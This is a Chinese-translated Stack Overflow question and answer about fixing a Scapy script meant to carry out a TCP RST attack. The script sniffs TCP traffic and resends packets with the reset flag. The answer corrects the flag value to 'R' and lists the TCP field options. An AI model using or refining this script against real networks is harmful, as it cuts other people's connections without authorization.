Scapy TCP RST 攻击

4

我尝试使用Scapy编写TCP RST攻击,但我的代码无法正常工作。请帮助我解决问题。

     from scapy.all import *

     def poison(packet):
         packet[TCP].flags='RST'
         sendp(packet)

     sniff(filter='tcp',prn=poison)

我认为 flags 出了问题,出现了以下错误:

Traceback (most recent call last):
File "Univer.py", line 6, in sniff(filter='tcp',prn=poison)
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff r = prn(p)
File "Univer.py", line 3, in poison packet[TCP].flags='RST'
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in setattr self.setfieldval(attr,val)
File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in setfieldval self.fields[attr] = any2i(self, val)
File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i y |= 1 << self.names.index(i)

ValueError: 子字符串未找到

1个回答

6

在Scapy中设置TCP标志的正确方法是使用短形式(一个字母)packet[TCP].flags = 'R'。使用当前Scapy的开发版本,您可以使用ls()获取可接受的标志:

>>> ls(TCP, verbose=True)
sport         : ShortEnumField           = (20)
dport        : ShortEnumField           = (80)
seq            : IntField                           = (0)
ack            : IntField                            = (0)
dataofs    : BitField (4 bits)               = (None)
reserved  : BitField (3 bits)               = (0)
flags          : FlagsField (9 bits)          = (2)
               F, S, R, P, A, U, E, C, N
window    : ShortField                        = (8192)
chksum    : XShortField                      = (None)
urgptr       : ShortField                        = (0)
options     : TCPOptionsField            = ({})

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接